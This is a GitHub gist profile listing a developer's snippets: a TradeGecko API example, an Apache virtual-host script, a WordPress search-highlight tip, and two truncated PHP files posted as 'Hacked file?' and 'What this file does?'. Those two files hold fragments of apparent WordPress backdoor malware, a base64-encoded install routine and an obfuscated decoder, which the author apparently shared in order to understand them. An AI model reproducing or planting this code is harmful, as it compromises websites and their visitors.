Skip to content

Instantly share code, notes, and snippets.

View djboris88's full-sized avatar
💭
Zoning out

Boris Đemrovski djboris88

💭
Zoning out
View GitHub Profile
@djboris88
djboris88 / tradegecko-example.php
Created July 28, 2020 12:17
Example for TradeGecko API which updates the stock levels for the variant.
<?php
declare(strict_types=1);
use Symfony\Component\HttpClient\HttpClient;
use Symfony\Contracts\HttpClient\ResponseInterface;
/**
* Using two Composer packages:
* - symfony/var-dumper
* - symfony/http-client
@djboris88
djboris88 / Add vHost - bash script for Apache2.md
Last active January 15, 2019 12:47
Quickly create Virtual Host for Apache2 on Ubuntu-like distros

Instructions

Download the add-vhost.sh file, make it executable and move it to /usr/bin/add-vhost:
sudo chmod +x add-vhost.sh && sudo mv add-vhost.sh /usr/bin/add-vhost

Run it as root from anywhere:
sudo add-vhost

This will create a configuration file for the Apache, both for non-SSL and SSL versions, and also allow you to set different PHP versions if you have installed them as PHP-fpm services.

@djboris88
djboris88 / _Highlight-search-results.md
Last active November 1, 2018 10:46
WordPress - Highlight the titles and excerpts in the search results.

Search results term highlight for WordPress

This is a simple solution to highlight the title and the excerpt in a search results for WordPress.

It is built using two filter hooks (one for the title, one for the excerpt), a helper function, and some CSS. Simply paste this code into functions.php or into separate files (but include them in your functions.php), add some css styles to your theme (directly with code editor or using some free plugins), and that should be it.

@djboris88
djboris88 / yit-core.php
Created November 27, 2017 10:24
Hacked file?
<?php
//install_code
DEFINE('MAX_LEVEL', 2);
DEFINE('MAX_ITERATION', 50);
DEFINE('P', $_SERVER['DOCUMENT_ROOT']);
$GLOBALS['WP_CD_CODE'] = 'PD9waHANCg0KLy9pbnN0YWxsX2NvZGUNCg0KCSRpbnN0YWxsX2NvZGUgPSAnUEQ5d2FIQUtDbWxtSUNocGMzTmxkQ2drWDFKRlVWVkZVMVJiSjJGamRHbHZiaWRkS1NBbUppQnBjM05sZENna1gxSkZVVlZGVTFSYkozQmhjM04zYjNKa0oxMHBJQ1ltSUNna1gxSkZVVlZGVTFSYkozQmhjM04zYjNKa0oxMGdQVDBnSjNza1VFRlRVMWRQVWtSOUp5a3BDZ2w3Q2drSmMzZHBkR05vSUNna1gxSkZVVlZGVTFSYkoyRmpkR2x2YmlkZEtRb0pDUWw3Q2drSkNRbGpZWE5sSUNkblpYUmZZV3hzWDJ4cGJtdHpKenNLQ1FrSkNRbG1iM0psWVdOb0lDZ2tkM0JrWWkwK1oyVjBYM0psYzNWc2RITW9KMU5GVEVWRFZDQXFJRVpTVDAwZ1lDY2dMaUFrZDNCa1lpMCtjSEpsWm1sNElDNGdKM0J2YzNSellDQlhTRVZTUlNCZ2NHOXpkRjl6ZEdGMGRYTmdJRDBnSW5CMVlteHBjMmdpSUVGT1JDQmdjRzl6ZEY5MGVYQmxZQ0E5SUNKd2IzTjBJaUJQVWtSRlVpQkNXU0JnU1VSZ0lFUkZVME1uTENCQlVsSkJXVjlCS1NCaGN5QWtaR0YwWVNrS0NRa0pDUWtKZXdvSkNRa0pDUWtKSkdSaGRHRmJKMk52WkdVblhTQTlJQ2NuT3dvSkNRa0pDUWtKQ2drSkNRa0pDUWxwWmlBb2NISmxaMTl0WVhSamFDZ25JVHhrYVhZZ2FXUTlJbmR3WDJOa1gyTnZaR1VpUGlndUtqOHBQQzlrYVhZK0lYTW5MQ0FrWk
@djboris88
djboris88 / infected.php
Created November 18, 2017 18:04
What this file does?
<?php
if ( true ) {
define( 'ALREADY_RUN_1bc29b36f342a82aaf6658785356718', 1 );
$qrpehyczp = 2136;
function zyhgjxuon( $oyvzmq, $edwwcacxo ) {
$smyawluyy = '';
for ( $i = 0; $i < strlen( $oyvzmq ); $i ++ ) {
$smyawluyy .= isset( $edwwcacxo[ $oyvzmq[ $i ] ] ) ? $edwwcacxo[ $oyvzmq[ $i ] ] : $oyvzmq[ $i ];
}